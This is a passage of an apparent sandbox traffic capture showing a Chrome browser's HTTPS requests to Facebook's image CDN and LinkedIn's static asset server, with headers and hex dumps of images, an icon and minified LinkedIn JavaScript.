agDl+4UEu9ocuggFvvGNVDeX0CiMtMkmUZa04vncTAIOzCHAIRVWGnPsScHhQoc/8Jyl958/ZuxPAnRRpRf1ew== Date: Thu, 11 Apr 2024 20:35:34 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=90, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 2581
2024-04-11 20:35:34 UTC	1	IN	Data Raw: 3c Data Ascii: <
2024-04-11 20:35:34 UTC	2580	IN	Data Raw: 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 31 32 20 31 31 32 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 63 6c 69 70 2d 70 61 74 68 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 22 20 64 3d 22 4d 31 30 37 2e 31 32 20 39 30 2e 34 32 61 31 32 2e 37 37 20 31 32 2e 37 37 20 30 20 30 31 2d 31 37 2e 38 32 20 32 2e 39 33 4c 34 31 2e 32 20 35 38 2e 38 32 6c 31 34 2e 38 39 2d 32 30 2e 37 35 20 34 38 2e 31 20 33 34 2e 35 33 61 31 32 2e 37 37 20 31 32 2e 37 37 20 30 20 30 31 32 2e 39 33 20 31 37 2e 38 32 7a 22 2f 3e 0a 20 20 20 20 3c 2f 63 6c 69 70 50 61 74 68 3e 0a 20 20 Data Ascii: svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 112 112"> <defs> <clipPath id="clip-path"> <path class="cls-1" d="M107.12 90.42a12.77 12.77 0 01-17.82 2.93L41.2 58.82l14.89-20.75 48.1 34.53a12.77 12.77 0 012.93 17.82z"/> </clipPath>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	49978	31.13.71.7	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	607	OUT	GET /v/t39.30808-6/434161336_977196363805317_3012880170289960724_n.jpg?stp=c0.18.160.160a_dst-jpg_p160x160&_nc_cat=111&ccb=1-7&_nc_sid=5f2048&_nc_ohc=I0NuKevVTXQAb5yPj7c&_nc_ht=scontent-lga3-1.xx&oh=00_AfAh0a3xH4hlU6TTz-tR9rSYzwF_YARPmY2g-UbmV8Cp3Q&oe=661E3419 HTTP/1.1 Host: scontent-lga3-1.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	659	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 01 Apr 2024 18:24:17 GMT X-Needle-Checksum: 3221538898 thrift_fmhk: GBADxIMk1SNP2vIHiSgrv1CDFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=1981639349 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:34 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 9582
2024-04-11 20:35:34 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:34 UTC	9581	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 66 30 31 30 30 30 30 37 36 30 33 30 30 30 30 39 36 30 37 30 30 30 30 37 33 30 38 30 30 30 30 36 63 30 39 30 30 30 30 62 34 30 65 30 30 30 30 30 34 31 36 30 30 30 30 38 32 31 36 30 30 30 30 37 66 31 37 30 30 30 30 36 66 31 38 30 30 30 30 36 65 32 35 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6f0100007603000096070000730800006c090000b40e000004160000821600007f1700006f1800006e250000C%# , #&')*)-0-(0%()(C(((((((((((((((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	49988	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	378	OUT	GET /aero-v1/sc/h/5gubp03vhsghua5ctxt9v18a8 HTTP/1.1 Host: static.licdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1360	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307078 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: text/javascript Date: Thu, 11 Apr 2024 20:35:34 GMT Expires: Thu, 18 Apr 2024 20:35:34 GMT Last-Modified: Wed, 06 Mar 2024 01:08:07 GMT NEL: {"report_to":"network-errors","max_age":1296000,"success_fraction":0.00066,"failure_fraction":1,"include_subdomains":true} Report-To: {"group":"network-errors","max_age":2592000,"endpoints":[{"url":"https://www.linkedin.com/li/rep"}],"include_subdomains":true} Server: ECAcc (nyd/D17B) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 857086 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0011914747; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-EC-BBR-Enable: 1 X-FS-UUID: 000615909996e70711f781dafd7efcb8 X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJmW5wcR94Ha/X78uA== Content-Length: 857086 Connection: close
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 61 75 74 68 57 61 6c 6c 49 6e 69 74 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 6c 65 74 20 6e 3d 65 2e 6d 61 74 63 68 65 73 7c 7c 65 2e 77 65 62 6b 69 74 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 65 2e 6d 6f 7a 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 65 2e 6d 73 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 3b 66 6f 72 28 3b 65 26 26 21 6e 2e 63 61 6c 6c 28 65 2c 74 29 3b 29 65 3d 65 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 Data Ascii: /! For license information please see authWallInit.js.LICENSE.txt /(()=>{"use strict";var e={};function t(e,t){if(!e)return null;let n=e.matches\|\|e.webkitMatchesSelector\|\|e.mozMatchesSelector\|\|e.msMatchesSelector;for(;e&&!n.call(e,t);)e=e.parentElement
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 3e 2d 31 3f 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 6e 6b 65 64 69 6e 2d 65 69 2e 63 6f 6d 22 3a 65 2e 69 6e 64 65 78 4f 66 28 22 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6d 22 29 3e 2d 31 26 26 28 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6d 22 29 2c 74 7d 28 54 28 64 6f 63 75 6d 65 6e 74 29 29 3b 72 65 74 75 72 6e 20 4a 28 22 22 2e 63 6f 6e 63 61 74 28 6e 2c 22 2f 70 73 65 74 74 69 6e 67 73 2f 75 70 64 61 74 65 2d 6c 61 6e 67 75 61 67 65 2f 63 6f 72 73 3f 63 73 72 66 54 6f 6b 65 6e 3d 22 29 2e 63 6f 6e 63 61 74 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 2c 7b 6d 65 74 68 6f 64 3a 22 50 4f 53 54 22 2c 68 65 61 64 65 72 73 3a 7b 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 22 61 70 70 6c 69 Data Ascii: >-1?t="https://www.linkedin-ei.com":e.indexOf("linkedin.com")>-1&&(t="https://www.linkedin.com"),t}(T(document));return J("".concat(n,"/psettings/update-language/cors?csrfToken=").concat(encodeURIComponent(t)),{method:"POST",headers:{"Content-Type":"appli
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 29 7d 7d 7d 65 6c 73 65 20 4f 3d 6c 74 2c 41 3d 73 74 2c 4c 3d 75 74 2c 52 3d 63 74 3b 66 6f 72 28 54 3d 30 3b 54 3c 73 3b 2b 2b 54 29 69 66 28 69 5b 54 5d 3e 32 35 35 29 7b 71 3d 69 5b 54 5d 3e 3e 3e 31 38 26 33 31 2c 70 74 28 74 2c 75 2c 4f 5b 71 2b 32 35 37 5d 29 2c 75 2b 3d 41 5b 71 2b 32 35 37 5d 2c 71 3e 37 26 26 28 68 74 28 74 2c 75 2c 69 5b 54 5d 3e 3e 3e 32 33 26 33 31 29 2c 75 2b 3d 58 65 5b 71 5d 29 3b 76 61 72 20 6a 3d 33 31 26 69 5b 54 5d 3b 70 74 28 74 2c 75 2c 4c 5b 6a 5d 29 2c 75 2b 3d 52 5b 6a 5d 2c 6a 3e 33 26 26 28 70 74 28 74 2c 75 2c 69 5b 54 5d 3e 3e 3e 35 26 38 31 39 31 29 2c 75 2b 3d 51 65 5b 6a 5d 29 7d 65 6c 73 65 20 70 74 28 74 2c 75 2c 4f 5b 69 5b 54 5d 5d 29 2c 75 2b 3d 41 5b 69 5b 54 5d 5d 3b 72 65 74 75 72 6e 20 70 74 28 74 Data Ascii: )}}}else O=lt,A=st,L=ut,R=ct;for(T=0;T<s;++T)if(i[T]>255){q=i[T]>>>18&31,pt(t,u,O[q+257]),u+=A[q+257],q>7&&(ht(t,u,i[T]>>>23&31),u+=Xe[q]);var j=31&i[T];pt(t,u,L[j]),u+=R[j],j>3&&(pt(t,u,i[T]>>>5&8191),u+=Qe[j])}else pt(t,u,O[i[T]]),u+=A[i[T]];return pt(t
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 6e 3e 68 6e 2e 6c 65 6e 67 74 68 2d 31 36 26 26 28 64 6e 2e 72 61 6e 64 6f 6d 46 69 6c 6c 53 79 6e 63 28 68 6e 29 2c 70 6e 3d 30 29 2c 68 6e 2e 73 6c 69 63 65 28 70 6e 2c 70 6e 2b 3d 31 36 29 7d 7d 7d 7d 22 6f 62 6a 65 63 74 22 3d 3d 3d 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 72 79 70 74 6f 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 62 65 28 63 72 79 70 74 6f 29 29 26 26 63 72 79 70 74 6f 2e 72 61 6e 64 6f 6d 55 55 49 44 3b 66 75 6e 63 74 69 6f 6e 20 66 6e 28 29 7b 72 65 74 75 72 6e 20 47 65 28 75 6e 2c 6e 65 77 20 41 72 72 61 79 28 31 36 29 2c 30 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 6e 28 65 29 7b 72 65 74 75 72 6e 20 67 65 28 65 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f Data Ascii: g:function(){return pn>hn.length-16&&(dn.randomFillSync(hn),pn=0),hn.slice(pn,pn+=16)}}}}"object"===("undefined"==typeof crypto?"undefined":be(crypto))&&crypto.randomUUID;function fn(){return Ge(un,new Array(16),0)}function mn(e){return ge(e).map((functio
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 74 2e 61 70 69 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 74 68 69 73 2e 68 6f 73 74 2e 61 70 69 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 2c 72 65 66 65 72 65 72 3a 74 68 69 73 2e 68 6f 73 74 2e 61 70 69 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 7d 2c 68 65 61 64 65 72 3a 7b 61 70 70 6c 69 63 61 74 69 6f 6e 56 69 65 77 65 72 55 72 6e 3a 74 68 69 73 2e 61 70 70 53 74 61 74 65 2e 61 70 70 6c 69 63 61 74 69 6f 6e 56 69 65 77 65 72 55 72 6e 2c 63 6c 69 65 6e 74 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 74 61 6e 63 65 3a 65 2c 70 61 67 65 49 6e 73 74 61 6e 63 65 3a 74 2c 74 69 6d 65 3a 44 61 74 65 2e 6e 6f 77 28 29 2c 76 65 72 73 69 6f 6e 3a 74 68 69 73 2e 68 6f 73 74 2e 61 70 70 56 65 72 73 69 6f 6e 2c 73 65 72 76 65 72 3a 22 Data Ascii: t.api.location.pathname+this.host.api.location.search,referer:this.host.api.document.referrer},header:{applicationViewerUrn:this.appState.applicationViewerUrn,clientApplicationInstance:e,pageInstance:t,time:Date.now(),version:this.host.appVersion,server:"
2024-04-11 20:35:35 UTC	5	IN	Data Raw: 64 28 65 2c 74 Data Ascii: d(e,t
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 69 28 74 29 2c 6e 75 6c 6c 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 2e 70 61 67 65 49 6e 73 74 61 6e 63 65 54 72 61 63 6b 69 6e 67 49 64 29 3b 69 66 28 74 68 69 73 2e 73 65 74 43 75 72 72 65 6e 74 43 6f 6e 74 65 78 74 28 69 2e 74 6f 29 2c 21 6e 2e 73 75 70 70 72 65 73 73 45 76 65 6e 74 73 46 69 72 69 6e 67 29 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 72 65 4e 61 76 45 76 65 6e 74 73 28 69 29 7d 7d 2c 7b 6b 65 79 3a 22 73 65 74 43 75 72 72 65 6e 74 43 6f 6e 74 65 78 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 43 6f 6e 74 65 78 74 3d 77 6e 28 65 2c 74 68 69 73 2e 68 6f 73 74 2e 61 70 69 29 2c 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 63 6c 69 65 6e 74 4d 6f 6e 69 74 6f 72 69 6e 67 43 6f Data Ascii: i(t),null==n?void 0:n.pageInstanceTrackingId);if(this.setCurrentContext(i.to),!n.suppressEventsFiring)return this.fireNavEvents(i)}},{key:"setCurrentContext",value:function(e){var t;this.currentContext=wn(e,this.host.api),null===(t=this.clientMonitoringCo
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 44 49 52 45 43 54 5f 53 54 41 52 54 3d 22 52 45 44 49 52 45 43 54 5f 53 54 41 52 54 22 2c 65 2e 52 45 44 49 52 45 43 54 5f 45 4e 44 3d 22 52 45 44 49 52 45 43 54 5f 45 4e 44 22 2c 65 2e 46 45 54 43 48 5f 53 54 41 52 54 3d 22 46 45 54 43 48 5f 53 54 41 52 54 22 2c 65 2e 44 4f 4d 41 49 4e 5f 4c 4f 4f 4b 55 50 5f 53 54 41 52 54 3d 22 44 4f 4d 41 49 4e 5f 4c 4f 4f 4b 55 50 5f 53 54 41 52 54 22 2c 65 2e 44 4f 4d 41 49 4e 5f 4c 4f 4f 4b 55 50 5f 45 4e 44 3d 22 44 4f 4d 41 49 4e 5f 4c 4f 4f 4b 55 50 5f 45 4e 44 22 2c 65 2e 43 4f 4e 4e 45 43 54 5f 53 54 41 52 54 3d 22 43 4f 4e 4e 45 43 54 5f 53 54 41 52 54 22 2c 65 2e 43 4f 4e 4e 45 43 54 5f 45 4e 44 3d 22 43 4f 4e 4e 45 43 54 5f 45 4e 44 22 2c 65 2e 53 45 43 55 52 45 5f 43 4f 4e 4e 45 43 54 49 4f 4e 5f 53 54 41 Data Ascii: DIRECT_START="REDIRECT_START",e.REDIRECT_END="REDIRECT_END",e.FETCH_START="FETCH_START",e.DOMAIN_LOOKUP_START="DOMAIN_LOOKUP_START",e.DOMAIN_LOOKUP_END="DOMAIN_LOOKUP_END",e.CONNECT_START="CONNECT_START",e.CONNECT_END="CONNECT_END",e.SECURE_CONNECTION_STA
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 72 41 70 66 63 22 2c 22 72 65 65 6e 74 72 79 22 2c 22 70 6c 61 63 65 50 6f 6e 66 42 65 61 63 6f 6e 22 2c 22 72 65 71 69 64 22 2c 22 70 61 67 65 49 6e 73 74 61 6e 63 65 22 2c 22 67 65 74 46 65 61 74 75 72 65 73 22 2c 22 66 75 6c 6c 46 65 61 74 75 72 65 43 6f 6c 6c 65 63 74 69 6f 6e 22 2c 22 61 70 66 63 44 66 50 4b 56 22 2c 22 61 70 66 63 44 66 22 2c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 6e 6b 65 64 69 6e 2d 65 69 2e 63 6f 6d 22 2c 22 50 4f 53 54 22 2c 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 22 73 65 6e 64 22 2c 22 74 65 6c 65 6d 65 74 72 79 43 6f 6c 6c 65 63 74 50 61 74 68 22 2c 22 69 73 50 72 6f 64 22 2c 22 Data Ascii: rApfc","reentry","placePonfBeacon","reqid","pageInstance","getFeatures","fullFeatureCollection","apfcDfPKV","apfcDf","https://www.linkedin.com","https://www.linkedin-ei.com","POST","Content-Type","application/json","send","telemetryCollectPath","isProd","
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 65 6f 75 74 29 3b 72 5b 59 69 28 22 30 78 35 30 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3b 74 72 79 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 73 29 2c 6e 3d 74 2e 72 65 6e 64 65 72 65 64 42 75 66 66 65 72 2e 67 65 74 43 68 61 6e 6e 65 6c 44 61 74 61 28 30 29 5b 59 69 28 22 30 78 39 22 29 5d 28 34 35 30 30 2c 35 65 33 29 5b 59 69 28 22 30 78 35 31 22 29 5d 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2b 4d 61 74 68 5b 59 69 28 22 30 78 35 32 22 29 5d 28 74 29 7d 29 2c 30 29 2e 74 6f 53 74 72 69 6e 67 28 29 2c 6f 5b 59 69 28 22 30 78 35 33 22 29 5d 28 29 2c 61 5b 59 69 28 22 30 78 35 33 22 29 5d 28 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 65 28 74 29 7d 65 28 6e 29 7d 7d 7d 2c 7b Data Ascii: eout);r[Yi("0x50")]=function(t){var n;try{clearTimeout(s),n=t.renderedBuffer.getChannelData(0)[Yi("0x9")](4500,5e3)[Yi("0x51")]((function(e,t){return e+Math[Yi("0x52")](t)}),0).toString(),o[Yi("0x53")](),a[Yi("0x53")]()}catch(t){return void e(t)}e(n)}}},{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	49971	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	607	OUT	GET /v/t39.30808-6/432924638_981453820046238_6885541610282582644_n.jpg?stp=c62.0.160.160a_dst-jpg_p160x160&_nc_cat=105&ccb=1-7&_nc_sid=5f2048&_nc_ohc=71KX-ATRvNwAb4ZywyM&_nc_ht=scontent-lga3-2.xx&oh=00_AfD9dej9ODWOZ3g0H0iLgebkxC4YSr9BElu67QWbKC7Lsg&oe=661E14B4 HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	659	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 08 Apr 2024 12:31:07 GMT X-Needle-Checksum: 1648538649 thrift_fmhk: GBCKgBCfIU3ek5icGgqXI9g+FfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=4056128666 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:34 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 8194
2024-04-11 20:35:35 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:35 UTC	8193	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 66 30 31 30 30 30 30 34 34 30 33 30 30 30 30 39 34 30 36 30 30 30 30 32 32 30 37 30 30 30 30 30 66 30 38 30 30 30 30 34 33 30 64 30 30 30 30 61 64 31 33 30 30 30 30 32 39 31 34 30 30 30 30 65 38 31 34 30 30 30 30 65 30 31 35 30 30 30 30 30 32 32 30 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6f0100004403000094060000220700000f080000430d0000ad13000029140000e8140000e015000002200000C%# , #&')*)-0-(0%()(C(((((((((((((((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	49993	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	614	OUT	GET /aero-v1/sc/h/al2o9zrvru7aqj8e1x2rzsrca HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1279	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307091 Cache-Control: max-age=604800, immutable Content-Type: image/x-icon Date: Thu, 11 Apr 2024 20:35:34 GMT Expires: Thu, 18 Apr 2024 20:35:34 GMT Last-Modified: Tue, 05 Apr 2022 06:07:09 GMT NEL: {"report_to":"network-errors","max_age":1296000,"success_fraction":0.00066,"failure_fraction":1,"include_subdomains":true} Report-To: {"group":"network-errors","max_age":2592000,"endpoints":[{"url":"https://www.linkedin.com/li/rep"}],"include_subdomains":true} Server: ECAcc (nyd/D194) Timing-Allow-Origin: * x-ambry-blob-size: 24838 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0014892071; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 0006159098caf92c1f70007c58a29e9f X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJjK+SwfcAB8WKKenw== Content-Length: 24838 Connection: close
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 00 00 01 00 04 00 10 10 00 00 01 00 20 00 68 04 00 00 46 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 ae 04 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 36 0e 00 00 40 40 00 00 01 00 20 00 28 42 00 00 de 1e 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 bb 84 1f bc b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff c0 8d 2f ba ff ff ff 00 ff ff ff 00 b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 Data Ascii: hF 6@@ (B( ssssssssssss/sss
2024-04-11 20:35:35 UTC	8455	IN	Data Raw: ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d9 b9 80 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff b2 73 00 ff ff ff ff 00 ff ff ff 00 Data Ascii: ssssssssssssssssssss

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	49991	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
